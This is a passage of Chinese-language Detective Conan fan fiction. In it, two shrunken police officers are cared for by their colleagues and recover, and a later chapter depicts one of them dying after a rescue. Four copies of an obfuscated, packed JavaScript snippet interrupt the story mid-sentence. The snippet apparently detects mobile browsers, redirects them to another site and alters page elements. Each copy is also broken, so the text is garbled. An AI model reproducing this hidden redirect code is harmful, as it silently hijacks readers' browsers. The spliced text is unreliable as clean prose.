“听话,先别动。” 体重秤显示屏闪烁了几下,最后数值停在了“15.35”上不动了。 诸伏高明有点拿不准小橘的体重属于什么范畴,拿出手机一番搜索,确定它现在还在正常范畴内终于松了口气。 “暂时还不用减肥。” 小橘似乎感觉到了危险,乖乖缩在诸伏高明脚边,眨着圆眼看着他。 橘猫的眼睛圆润明亮,眼角一点颜色稍深的毛毛看上去就是上挑的眼尾。 诸伏高明端详了一会儿小橘的眼睛,扭头去看沙发上的诸伏景光。 同样是上挑的眼尾。 他不禁回忆起诸伏景光小时候。 以前没注意到,现在想想,当时的诸伏景光也是一只小猫,不过应该是蓝眼睛的布偶。 沙发上两个小孩睡得香甜,只是靠在沙发上有些不好借力,两个人不知道什么时候调整了姿势: 诸伏景光向一侧歪倒靠在沙发边缘的扶手上枕着,青木修就顺势倒在他怀里,被诸伏景光牢牢护着。 诸伏高明一路风尘仆仆地赶来也累得不轻,给两人搭上一条厚毯子之后自己坐在了沙发的另一端,防止两个人从沙发上摔下去。 原本只打算小憩一会儿,谁料客厅里的环境太好,不冷不热,再加上诸伏高明自己的精神很放松,三个人一口气睡到了太阳西垂,苦苦劳动一天的同期们终于熬到了下班时间,迫不及待赶来了这间公寓。 “景老爷!” 早在他们四个人在挤在门口叽叽喳喳说话的时候诸伏景光和青木修就已经醒了,紧接着开门的声音也唤醒了诸伏高明。 “你们好。” 他迅速回神,冲着门口挤挤攘攘的四个人招了招手。 “啊……高明哥好。” 一马当先冲在最前方的松田阵平在看到诸伏高明的瞬间刹住脚,乖乖站在原地打了招呼。 降谷零在后方跟着剩下的两人一番挣扎之后才顺利挤进门。 “你们来了啊……” 诸伏景光勉强挤了个笑容出来——倒不是说他不想见到几位同期,他现在只是在为自己可以预见的悲惨未来感到惋惜。 “小诸伏——!” 萩原研二仗着身高优势越过了松田阵平,一个箭步来到沙发前,一把捧住诸伏景光的脸,捏面团似的来回揉搓。 “……唔唔……唔!” 诸伏景光虽然早有预料,但还是心有不甘地尝试抗议。 “抗议无效哦小诸伏~” 松田阵平也过来了,和萩原研二一左一右把诸伏景光包围起来,把他打理整齐的头发揉成了鸡窝。 “松田,轻一点。” 松田阵平突然觉得自己的袖子被人扯了扯,顺着力道低头一看,是青木修。 要不是松田阵平低头就完全不会被看到的青木修不知道什么时候跳下沙发,紧张地看着被同期围困的诸伏景光。 “小青木!” 他不出声还好,一出声萩原研二就立刻换了目标,一双手落在了他的脸颊上。 不过肉眼可见力气小了不少就是。 “我就知道我们小青木从小就好看!” 后方和诸伏高明简单寒暄几句的伊达航也冒出一个头。 “青木真的好可爱……” 他摸了摸下巴,如果他和娜塔莉有了小孩,应该也会和青木修这样好看吧? 上午发生过的事已经让青木修淡定了,对于几位警官先生的围攻已经没有那么紧张了,还会配合他们。 “这衣服应该是高明哥给你们买的吧?” 降谷零发出抗议,“怎么就不能是我买的?!” 松田阵平转头,给了他一个“我还不知道你”的眼神。 “金毛混蛋你?你估计得到消息的第一时间就直接过来了吧?!不是高明哥今天晚上我做饭给你们吃!” “小阵平你冷静……” 萩原研二试图阻止他的危险发言,但是遭受到他的暴力禁言。 “唔唔唔!” 萩原研二发生困难,只好手舞足蹈地比划着动作帮助其他几人理解自己的意思。 “……行吧,我认输。” 降谷零悻悻低头,松田阵平说的一点都没错,他挂了诸伏景光电话之后就直奔公寓,除了车钥匙之外什么都没拿。 果然他们几个人彼此之间的熟悉程度决定了他们不可能成功撒谎。 “不过……” 松田阵平话锋一转,“高明哥怎么想到给景老……咳,诸伏买这种风格的衣服?” 诸伏高明十分淡定地移开视线,“不太清楚,导购 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772804|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向我推荐的就拿了。” 诸伏景光悄咪咪来到诸伏高明身边,凑近他低声问。 “真的吗?哥哥?” “哐!” 诸伏高明毫无防备被诸伏景光吓到了一下,一抬腿膝盖撞上了茶几,突出的包边准确地击中了他膝盖上的麻筋。 诸伏高明平静无波的脸上疑似出现了一点名为尴尬的表情。 诸伏景光当即毫无忌惮的放声大笑,不过他也没笑太久,就被青木修捂住了嘴巴强行闭麦。 几个大男人看着青木修那叫一个喜欢,伊达航更是被好心提醒。 “班长,咱稍微收一收,不然一会儿青木要报警了。” 松田阵平跟过来。 “不过青木报警也没什么用吧?” 这话勾起了青木修的注意力,“为什么?” 大家都是警察,怎么突然这么说? 松田阵平稍微含着点下巴,对着青木修挤出一个有点阴森的笑容。 ……? “什么嘛,”松田阵平瞬间破功,“青木根本就不害怕啊。” 他说着,把蹲在青木修身前的萩原研二捞了起来,“hagi,刚刚是谁和我打赌来着?” 萩原研二还在抵赖,“小阵平你在说什么啊?我怎么听不……” 松田阵平一个眼刀递过去,萩原研二立刻站直:“我愿赌服输,将义务承担小阵平下周一周的早餐和晚餐。” 他点点头,表示自己还算满意。 “不早了,你们想吃什么吗?” 注意到青木修软软的脸颊都有点泛红了,诸伏高明非常善解人意地过来帮他解围。 “嗯?” 正在另一边和伊达航齐心协力给诸伏景光抓怕各种照片的降谷零忽然抬头。 “我去买菜。” “不不不不不用了高明哥!” 这下子降谷零反应过来了,直接从地板上一跃而起制止了诸伏高明准备换鞋的动作。 “我们带hiro和青木出去吃!” 他回头看向自己的几位同期,“不是商量好了吗?” 其他几人此刻也回过神来了,七手八脚爬起来。 “是是是……” “我们商量好的一起出去吃饭的。” “高明哥你跟着我们一起呗?” 几个人盛情难却——主要是萩原研二的功劳——诸伏高明最后应下了他们的邀请。 青木修和诸伏景光两个人就在完全没有参与讨论的情况下被几个人安排的明明白白。 降谷零再一次展现了他超强的行动力,等几个人把两个人收拾好可以出门的时候,他已经找好了几个可供选择的地点。 这一次两个小孩参与了投票,最后少数服从多数,地点被定在了不远处的一家人气烤肉店里。 “还好不是自助。” 诸伏景光被松田阵平和萩原研二两个人夹在中间,艰难抬头看向对现在的自己来说有些高的两位同期。 “嗯?景老爷你居然还记得啊?” 以前警校周围就有一家自助烤肉店,不过他们五个去了几次之后就被店主拉进了黑名单。 原因无他,他们几个太能吃了。 97.众人带崽if3 虽然这一次他们去的不是自助餐厅还特意选了包间,但并不妨碍几个工作强度超高的大男人用自己点出来的一长串菜单把服务员吓了一跳。 “没有点错,下单吧,谢谢你了。” 诸伏高明虽然自己也很诧异,但还没忘记安抚一下一旁正看着打出来的菜单发呆的服务员小姐。 青木修坐在诸伏景光和伊达航两个人中间,抬头傻傻看着服务员手里的菜单,也咽了下口水。 这、这么多的吗…… 诸伏景光顺着他诧异的目光看过去,低下头凑到他耳边小声道:“说不好一会儿还要加……现在知道我们是怎么被那家自助餐厅拉黑的了吧?” 青木修眨眨眼睛看向他,“老板只是把你们拉黑,没有把你们打出去可真是善良啊。” 诸伏景光没忍住伸手把他头顶的头发揉乱,青木修想躲,但还是比他慢了一秒。 “景光!” 青木修看不见,只能凭手感把自己凌乱的头发拨弄整齐,不过还是有一小撮翘了起来。 “呐,这里还翘着呢。” 伊达航看着他头顶那一撮倔强的头发,忍俊不禁,出手帮他打理整齐。 “啊……谢谢伊达。” 头顶忽然传来陌生的手感,青木修先是惊了一下,意识到是伊达航之后立刻回头道谢。 “小修,”看了他好半天的诸伏高明突然出声,“想喝什么?” “清酒!” 一旁的诸伏景光也点头,刚刚点菜的时候他们就加了一瓶清酒进去。 诸伏高明朝着两个弟弟笑了下,眼神揶揄,“你们觉得可以吗?” “不可以吗?” 降谷零从松田阵平手边把他们的订单拿过来,果然多了一瓶清酒。 “你俩什么时候点的酒?” 松田阵平一歪头也看见了,立刻探出身子问两个小孩。 “就刚刚……” 青木修有点心虚,避开了松田阵平的眼神。 诸伏景光也想躲,不过现在的座位没办法让他往青木修背后躲,只能接受来自诸伏高明和降谷零的双重凝视。 ——没办法,虽说动手的人是青木修,但主意是他出的。 诸伏高明一看他这样子就知道肯定是他出的主意。 “你俩喝果汁~” 萩原研二已经加好了餐,把下单成功的手机页面给两人看。 “好的。” “好吧……” 青木修有点失望,平时诸伏景光管他喝酒就管得挺严,今天好不容易两个人能达成一致少喝一点,但是却被其他几人阻止了。 同样是被禁止饮酒,青木修和诸伏景光的反应明显不同。 诸伏景光心虚明显是知道小孩不能喝酒,而青木修的心虚则是悄悄动了菜单的害怕。 “小孩不能喝酒,不然违法。” 诸伏高明也没有责备他,只是解释了原因。 青木修有些不好意思,摸摸脸颊还是低着头。 在他看不到的方向,诸伏高明看着他的眼神里怜爱更甚。 不认识的人见了他俩,还能从诸伏景光身上看出点违和,但是绝对不可能认出青木修也是个假小孩。 青木修从未感受过正常的童年该是怎样,他现在完完全全是第一次以儿童的视角观察这个世界。 和普通的小孩无异。 “没关系,等恢复了可以少喝一点。” 青木修瞬间从一只没了气的纸片变成了一只容光焕发的小犬,摇着尾巴得意地看了诸伏景光一眼。 “哥!” “一点点而已——毕竟景光你似乎才是那个开头的人吧?” 这两个弟弟什么秉性他一清二楚,青木修就算是自己想喝也不可能在没有诸伏景光允许的情况下自己悄摸的加。 诸伏景光立刻做了个拉拉链的手势,安静不说话了。 插科打诨的时间也等来了上菜,各种各样的肉类满满当当摆了一桌子,有几盘甚至摆不下摞了起来。 “这么多……” “放心放心!轻松解决!” 萩原研二说着已经拿起一盘肉,直接用夹子一推—— 滋啦…… 一整盘牛肉被他一次性推进了烤盘。 伊达航也拿着一个夹子,像是炒菜似的火速翻烤着牛肉,没一会儿肉香就飘了满屋。 等到已经下进去的一盘熟的差不多,伊达航把肉扒拉到一边,松田阵平立刻拿了一盘紧跟着倒进去。 青木修和诸伏景光有时候也躲懒出去吃,但如此粗犷的方式他着实还是第一次见。 “如果不这样子的话……” 诸伏景光示意青木修别走神,“就是这样。” 伊达航前脚说了句“这一些烤好了”,后脚就见早已经虎视眈眈的几个人以迅雷不及掩耳之势站了起来,还没等青木修反应过来,烤盘里就只剩下那些刚刚下进去的肉了。 “看见了吧。” 诸伏景光捣捣懵了的青木修,示意他也赶紧做好准备。 诸伏高明刚刚起步慢了点,不过大家都很尊重他这位“大家长”,好歹没让他站起来一次什么也没夹到。 “我挺好奇你们以前吃饭会不会被食堂阿姨嫌弃。” 话虽这么说,肚子不能饿着,青木修果断抄起筷子加入了抢肉大战里。 争争抢抢一桌子肉吃完,居然还没饱。 “啊——还没饱啊……” 松田阵平伸了个懒腰,非常自觉地拿起手机开始继续加菜。 “我怎么说来着?” 诸伏景光给了青木修一个眼神。 “照你们这个吃法,我看应该还能再吃一桌。” 青木修擦了擦头上的汗,刚才抢得太猛,他硬生生吃出了一身热汗。 进来确认订单的服务员还是最开始那位,显然她也已经被这几位震惊到了麻木,波澜不惊地向坐在靠近门口的萩原研二确认好订单,转身出门了。 “哥,你吃饱了吗?” 诸伏景光没忘记自己大哥,好在诸伏高明在这里也享有优先权,已经吃饱了。 “你们吃,我处理一点东西。” 他是请了假过来的,但有一些文件和报告还是需要远程处理。 用餐过程中诸伏景光始终没有放弃摸酒喝的念头,结果就是被其他几人轮番抓包,青木修倒是一副已经接受显示的样子,抱着一瓶鲜榨果汁喝得不亦乐乎。 “hi——ro!” 降谷零抢完一盘烤肉一扭头,诸伏景光正抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777515|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒瓶试图给自己倒酒。 “不!可!以!” 他仗着现在的体型优势抓着诸伏景光的领子把他拎了起来。 “高明哥,你管管他。” 诸伏景光被放在诸伏高明面前的时候手脚还在不停地挣扎,活像被抓现形还不认错的傲娇布偶。 “降谷,把景光先放下来吧。” 青木修看着被降谷零紧紧攥着的衣领,最后还是没忍住替诸伏景光求情。 “景光这样子吊着不舒服。” “……hiro可是……” 降谷零本来似乎想要说什么,但还是败在了青木修可怜兮兮的眼神上。 他对这种无意识的乞求眼神根本没有招架之力好吗?! “看在青木的份上……哼哼。” 降谷零找不到更合适的词,索性哼了两声让诸伏景光自己去意会。 诸伏景光非常熟练地接下降谷零的调侃,转身抱住了青木修。 “咦——” 萩原研二没忍住拖长了调子,惹得一旁正在跟娜塔莉通话的伊达航都没忍住扭头过来看一眼。 “啧,不行吗?” 诸伏景光也不太好意思在同期们的注视下继续抱着青木修,干脆把人塞到诸伏高明的椅子后面。 诸伏高明知道弟弟和同期们有分寸,一转头却发现青木修蹲在地上对手指,像是有心事的样子。 “怎么了?有哪里不舒服吗?” 毕竟是晚餐,青木修刚刚也吃了不少,肚子疼也不是没可能。 “高明哥?没有啦。” 青木修瞬间站起来,双手背在身后,露出一个灿烂的笑容。 “在想什么?这么投入。” 青木修脸颊闪过一丝诡异的红晕,有点不好意思,扭捏了一会儿才小声道: “在想……什么时候可以恢复啊。” 他好想亲诸伏景光。 “应该很快,小修现在这样也很可爱。” 诸伏高明其实心里也没估计,不过他还是很快结合诸伏景光先前讲述的前因后果给出了推断。 青木修脸颊有点发烫,摸摸自己的耳垂试图手动降温。 诸伏高明先握了握清酒酒瓶,等到手心温度降一点之后贴上了青木修的脸。 “你的脸,红的很厉害。” 他一句话成功把青木修努力半天的成果泡了汤,好不容易降温一点的脸又一次变得滚烫。 和诸伏景光小时候有些不一样,这样子的青木修有一种别样的可爱。 有好奇心,但是面皮很薄,也会克制自己。 他想起了曾经见过的一窝德牧幼崽,和青木修现在就很像,看上去就是软软小小的一个,会四处探索,也有自己的小脾气,但是很听话。 这是和照顾小时候的诸伏景光截然不同的体验。 “唉?” 青木修脑袋正乱着,忽然身体一轻——原来是诸伏高明伸手把他抱了起来。 “高明哥?” 青木修有些疑惑,但是没有乱动,只是低头看看地面又看着诸伏高明,用眼神发出疑问。 “啊,耳朵也都立起来了。” 诸伏高明没头没尾冒出来这么一句,看着一脸茫然的青木修,终是笑出了声来。 98.众人带崽if4 虽说研究所那边已经在全力加班研发抗性药物,但是终归是要给人使用,一天两天实在完成不了。 在被几个不太靠谱的同期磋磨了整个休息日后,诸伏景光获知研究所那边还差最后一点点进度,而黑田兵卫表示近期有大型活动,着实有些离不开人。 也就是说,青木修和诸伏景光要顶着这副小孩模样去上班。 “真的没问题吗?” 诸伏高明已经坐上了车,但依旧有些不放心,“要不我再待两天?” “不用啦哥哥,放心吧,我和青木能照顾好自己。” “就是啊高明哥,还有我们呢!” 降谷零单手抱着诸伏景光,空着的手对着诸伏高明摆了摆,“下次休假我们一起回长野玩啊!” 诸伏高明想了想,觉得自己离开应该问题不大,这才放心地开车启程。 目视诸伏高明的车完全消失在视野里,诸伏景光的脑袋瞬间垂了下来。 “hiro打起精神啊,明天可是要、上、班、呢!” 诸伏景光看上去全靠一口气吊着,随时都会魂飞天外。 青木修起先被萩原研二抱着,但是萩原研二看到诸伏景光这副模样就乐了,转手把青木修交给了松田阵平,自己跑去逗诸伏景光去了。 “……松田。” 青木修在松田阵平手上挂了一会儿,还是没忍住,试着用力把自己晃了晃,希望以此引起松田阵平的注意。 “怎么了?舍不得高明哥啊?” 松田阵平还没有意识到哪里不对劲,直接把他提起来和自己平视。 “呃,”青木修喉咙一紧,艰难做了个吞咽动作,这才缓过一口气,“那个,有点勒……” 松田阵平这才意识到自己揪着他的衣领揪得太低了,连忙松了点,给青木修留下了一个足够呼吸的空间。 送走了诸伏高明,剩下的几个人简单商量了下,最后决定轮流在这里住下,直到两人恢复为止。 诸伏景光中途有尝试出声,不过被伊达航直接提起来转了个方向。 “诸伏你还是先去和青木待一会儿吧。” “可是……” “小孩子不要参与大人的谈话哦。” 松田阵平再次把诸伏景光手动转身。 “……” 两个假小孩面面相觑。 “唉……” 诸伏景光索性原地蹲下,双手捂脸深深叹息。 “景光明天不想上班啊?” “差不多……” 诸伏景光幽幽道:“你根本想象不到,那群家伙到底有多恐怖。” 他口中的“那群家伙”指的正是警察厅里的同事们。 青木修有点怀疑,“不至于吧?” 诸伏景光抬头,用“你还是太年轻”的表情看了他一眼。 另一边几人也商量的差不多,排在第一位的降谷零过来,一手一个把两人提起来上楼。 “明天见——班长明天早上你还要执勤,早点休息吧。” 几个人的住处彼此都不太远,来去都还算方便。 “降谷再见——” 等到几人离开,降谷零带着两人回了家。 “你们自己能洗吗?” 诸伏景光和青木修立刻小鸡啄米似的点头。 “那我去客房咯,要是有什么东西没拿记得叫我。” 诸伏景光忙不迭把降谷零推进客房,“放心吧zero,这点小事我们还是没问题的啦。” 支开降谷零,两人迅速完成洗漱换衣一条龙,换上了在诸伏高明提醒下才想起来去买的儿童睡衣。 “等等,这不是我选的款式吧?” 诸伏景光从衣柜里拿出睡衣,看着青木修缓缓发出疑问。 青木修见状连忙找出自己的那一件,一看也冷了。 “大小没问题……景光,最后是谁去结账来着?” “zero?哥哥?好像还有松田?” 反正他们都是一起去的,谁也没注意最后一个碰了睡衣的人是谁。 青木修检查了两件睡衣,大小并没有问题,说明应该不是收银员失误把衣服装错了。 那么看来只能是被人换过。 诸伏景光看着手里的两件连体恐龙儿童睡衣,想了半天谁也能被锁定为“嫌疑人”。 “我觉得……呃……谁都有可能啊……” 青木修摸摸鼻子,说出了自己的考虑。 “赞同。” 但是两个人没得选,他们平时穿的睡衣现在太大了,穿上去基本就是长裙了,只能将就。 结果就是第二天早晨起床时,降谷零看着他俩抱着肚子至少笑了一分钟。 嫌疑人之一锁定了。 诸伏景光露出半月眼,轻哼一声绕过降谷零,以此来小小地表达自己的不满。 青木修还没完全睡醒,揉着眼睛迷迷瞪瞪往厨房走,进门的时候直挺挺一脑袋撞在了玻璃门上。 他这一下子把另外两个也没完全清醒的人吓清醒了。 诸伏景光像是受惊的兔子似的从厨房里冲了出来,无比紧张上上下下把青木修检查了一遍,发现没出现碰伤才松了一口气。 “我觉得……” 青木修捂着额头,“今天可能不宜上班。” 事实证明他的玩笑话成了真,不管是青木修还是诸伏景光,一上午办公室里不断有憋笑没憋住的漏气声。 诸伏景光每次都寻着声音抬头看过去,但是什么异常也没发现。 一直等到中午下班时间,诸伏景光率先从位置上站起来。 “你们……想笑就笑吧。” 他不说还好,一说这话,办公室里立刻充满了欢乐的笑声,公安们的笑声此起彼伏,最后就连坐在里间的黑田兵卫都没忍住跑出来看热闹。 “还不去吃饭?都不饿吗?” 办公室里的公安们连忙作鸟兽散,不过诸伏景光因为当前身高原因,视角偏低,清清楚楚看见了黑田兵卫翘了下的嘴角。 “……” 黑田长官,其实你也可以笑。 青木修所在的办公室也是差不多的情况,几乎所有的同事都想办法找理由过来摸了摸他的发顶,当然,也收获了不少投喂。 青木修抱着几袋零食过来找和黑田兵卫说话耽误了点时间的诸伏景光。 “黑田长官。” 猝不及防撞见黑田兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803520|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫,青木修连忙弯腰鞠躬,情急之下还掉了一包零食。 “小心点。” 黑田兵卫点头回应,弯腰帮他把零食捡起来,“快去食堂吧。” 青木修正要说好,忽然觉得脑袋上一重—— 黑田兵卫也顺手薅了一把他的头。 诸伏景光连忙别开脸,防止自己憋不住笑被黑田兵卫抓个正着。 以两人现在的状况也别想着出外勤,统统被摁在了办公室做指挥。 青木修做多了外勤,突然转指挥还有点不熟练,沟通频道里听起来有条不紊相当镇定,但实际上坐在办公室里的青木修已经满头大汗,手边杯子里的水都喝完了。 明明是坐在后方的人,任务结束后他却像是比那些外勤同事还要累一些。 等到其他人回来的时候,见到的就是满脸通红满头大汗像是下水了一趟似的青木修。 “唉?青木你干嘛了?” “没事。” 青木修好歹已经把心率恢复过来了,没让同事们看见自己气喘吁吁的狼狈模样。 不过他也不怎么擅长说谎,在大家的追问下也支支吾吾小声交代了具体原因。 “紧张……” 他很不好意思,担心被笑话,说完就缩回了工位,埋下头不愿面对现实。 和他的预想一样,大家都笑了起来——不过都是很善意的笑。青木修的桌子上也很快再一次堆满了各种零食和饮料。 组长都有些看不下去了。 “你们什么时候藏了这么多零食?” 看起来一个个那么正经,怎么能夹带这么多私货进来? 还有那个草莓小蛋糕是谁带进来的?还没下班啊喂! 不过他嘴上在吐槽,身体却很诚实,从抽屉里摸了一包薄荷糖递给青木修,美名其曰“加班专用”。 一天工作下来,青木修喜获零食两大包。 考虑到两个人都是假小孩,所以他们非常“人道主义”通知了两位今天需要加班。 严格算起来也不能算他们非法压榨童工。 等到两个人眼神无光的从工位前抬起头,窗外的星星都不知道围观他们多久了。 似乎是作为他们加班的补偿,研究所在他们买完宵夜准备直接在警察厅过夜的时候传来了好消息: 抗性药物通过了测试。 日常加班的降谷零正好跟他们一起,得知了消息就把他俩扔进马自达,一路风驰电掣赶到研究所。 导致两人变成这样的缓释剂是液体,这一次却换成了胶囊。 青木修想起了什么脸颊一红,忙不迭仰头把胶囊吞了。 药物起效还需要一段时间,研究员建议他们可以先回家。 半夜两个人都是被疼醒的,骨骼拉伸的疼痛可比普通生长痛要严重的多,一直到快天亮两个人才堪堪又眯了一会儿。 “呼……恢复了。” 青木修活动了下身体,扭头飞快亲了一口诸伏景光。 “?” 诸伏警官难得反应慢了半拍。 “很幸运能看到小时候的你。” 青木修笑盈盈地解释道。迎着清晨的朝阳,他灰色的瞳孔里也多了一层光彩。 99.PTSD景遇到变小修if1 诸伏景光记不太清这段时间自己是怎么熬过的这段时间。 他们还是来迟了一步,青木修被找到的时候已经快不行了。 如果不是脸颊上的那道疤痕,他甚至都不敢去认病床上被锁着的那个形销骨立的骷髅是青木修。 “诸伏景光……” 青木修费了很大的力气才抬起头,灰色的眼睛已经浑浊,眼白的部分满是红色的血丝,几乎占据了他整个眼球,看上去分外骇人。 “青木,青木……” 诸伏景光连滚带爬扑了过去,他自己伤得也不轻,每动一下就有一股股的鲜血从伤口各处涌出来。 青木修明明看上去已经奄奄一息,但却以一种异常灵敏的速度躲开了诸伏景光的手。 诸伏景光的视线在自己摸了个空的手上顿了一瞬。 “青木?” 他很诧异青木修的反应。 “你走吧……” 青木修声音轻飘飘的,仿佛随时都能消散在空气里。他别开了脸,把手也移开了。 “快走吧。” “我来带你回家。” 诸伏景光回头看了一眼,守在门口的行动人员冲他打了个手势,意思是目前一切在掌握中,暂时安全。 他单膝跪在病床前,看着青木修干枯的头发,眼眶发热。 “我来带你回家,没事了……一切都没事了。” 青木修仍然不为所动,没有分给诸伏景光一个眼神。 “我从来就没有家,诸伏警官,很抱歉我可能不能给你们提供帮助了。” “没事,”身后的队员递来了工具,诸伏景光开始动手拆禁锢着青木修的那些锁链,“没关系,我不需要你帮忙,你好好的……” 青木修的声音忽然冷了下来,带着诸伏景光从未见过的冰碴。 “还不明白吗?诸伏景光,请你们离开这里。” “青木?” 他的转变出乎了诸伏景光的意料。 “我不需要你来救我,请你离开,喜欢你的青木修已经死了。” “……” 诸伏景光没有第一时间说话,只是沉默地用液压剪剪断了连接着青木修的锁链。 “……如果你能看着我,别发抖,或许我真的会相信这是你的心里话。” 他轻手轻脚地解开了青木修身上的所有束缚,双手轻轻搭在青木修肩膀上,半是哄劝半是强迫地让对方转过脸看着自己。 “对不起。” 他郑重其事地道歉。 青木修下颌紧绷着,两颊的肌肉偶尔鼓动一下,双手紧握成拳,整个身体绷成了一张拉到极致的弓。 “对不起。” 他站起来,弯下腰准备把青木修从病床上抱起来。 “别碰我!” 青木修像是被踩到尾巴的小狗一样冲着他呲牙,两人的视线仅仅有一秒钟的碰撞。 诸伏景光终于从他异常的态度里发现了不对劲。 “你怎么了?” 不顾青木修的反抗——实际上现在青木修自以为的大力反抗在诸伏景光眼里也不过是小孩子打打闹闹的力气——他把青木修抱了起来,大步朝外赶。 “zero!”他呼唤正在处理左山先生办公室的降谷零,“医生呢?!” “直升机已经就位了,”降谷零也伤得不轻,额头上的血流进了眼睛里,半边视野都加上了一层红色的滤镜,“救援队正在下来。” 他注意到了诸伏景光怀中的骨架。 “这是……青木修?” “嗯。” 诸伏景光几乎要带上哭腔了,只能简短用一个鼻音当做回应。 青木修死死控制住身体。喉结上下滑动,似乎是在极力忍耐什么。 “救援马上就来了……” 诸伏景光心中不安,索性带着青木修先往上跑,希望能直接和救援队汇合。 “呕——!” 在一个拐角处,青木修突然抽搐几下,猛地吐出了一大口血! 这一下把诸伏景光魂都吓没了,他恨不得长出翅膀直接飞上去,却不得不停下来关注青木修的情况。 “怎么了?” 他单手托住青木修不让他掉下去,空出来的手轻轻拍着他的后背。 就像是被瞬间打开的闸门,鲜血争先恐后从青木修口中涌出,无论诸伏景光怎么擦也擦不干净。粘稠的鲜血沿着他的下巴流经脖子,最后落在他纯白的病服上,开出一朵朵刺眼的花。 “没事的……” 诸伏景光六神无主,不断地呢喃着,也不知道在安慰谁。 好在救援队赶在他崩溃之前遇见了他们两人。 为首的医生只是扫了一眼青木修就知道情况不妙,连忙指挥其他人接过青木修把他安置在担架上。 “诸伏警官,我们需要先带他回东京。” 诸伏景光知道自己的任务还没有完全完成,只能强行让理智归位,艰难而又僵硬地点点头。 就在医生们准备带着青木修离开的瞬间,他似乎感受到了什么,像是回光返照似的突然用异常大的力气死死抓住了诸伏景光的手腕。 “咳咳……” 他还在吐血,一张嘴血液就呛进了气管。 “景光,”他已经浑浊的眼睛里落下了晶莹的泪珠,“我不想死。” 诸伏景光的眼泪也在瞬间夺眶而出,“你不会死,会没事的……” 安慰完青木修,他看向医生们,神色乞求,“求你们了,救救他。” 医生们匆匆带着青木修离开了,而青木修始终不舍地凝视着诸伏景光,直到两个人彻底看不见彼此。 后续的一些扫尾工作诸伏景光觉得自己是凭着肌肉记忆机械完成的,好不容易得到了可以返回的批准,他们几个前脚进警察医院,后脚就被在门口守株待兔的医生们压去了急诊。 其间诸伏景光多次询问青木修的情况,给他清创处理伤口的医生们都当作没听到,问路过的护士们也都说不知道。 等不及还在上药的降谷零和赤井秀一,他一瘸一拐找到了抢救室。 一眼看过去,好几间都显示正在手术中。 他心中燃起了一点希望,找了这里的护士询问。 “哪一位?” 护士脸上闪过一丝疑惑,诸伏景光急了,又磕磕绊绊向他更详细地描述了青木修。 “啊……是那位从鸟取送过来的病人啊……” 小护士低头思考时的表情诸伏景光没能看见。 “他怎么样了?” 护士缓缓抬起头,目光带着浓浓的歉意。 “那位病人抢救无效,已经宣布死亡。” 诸伏景光耳边如同炸响了一道晴天霹雳,把他的耳朵震得嗡嗡作响。 “什么?!” 他不可置信地后退了两步,扶住墙才堪堪站稳,“他在哪里……他在哪里?!” 护士被他阴沉的仿佛要吃人的表情吓了一大跳,连忙给他指了方向。 一路追过来的降谷零和赤井秀一还没来得及人,就见诸伏景光用他现在不该有的矫健身手朝着另一边的楼梯冲刺。 两人对视一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808415|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法只能接着追。 诸伏景光完全感受不到身体上的疼痛,麻木地按照护士只给他的路找到了那个地方。 推开门,十足的冷气冷得他打了个寒颤。 好不容易理智回归了一点点,他这才注意到这里面已经有一个人,不知道在这里站了多久。 听到开门的动静,站在前方的人转过身—— “哥哥?!” 是接到警察厅通知,匆匆从长野赶来的诸伏高明。 “景光,”诸伏高明的眉宇间有一丝悲戚,“你来了。” 他似乎对诸伏景光会出现在这里表现得并不惊讶。 “哥哥……” 诸伏景光胸膛剧烈起伏几下,想要上前,却是脚下一软一个踉跄,很是狼狈地摔在了地上。诸伏高明忙不迭把他从地上搀起来,用自己并不算大的力气强行把诸伏景光从地上拖了起来。 诸伏景光终于看清了方才被诸伏高明挡住的景象。 是青木修啊。 他眼睛微阖,嘴角和下巴上沾着的血迹已经干了,贴在皮肤上成为了暗色的血痂。 诸伏景光几乎整个人的重量都压在兄长身上才勉强站着,他张着嘴无声喘息几下,不可置信地伸手去触碰青木修的脸颊。 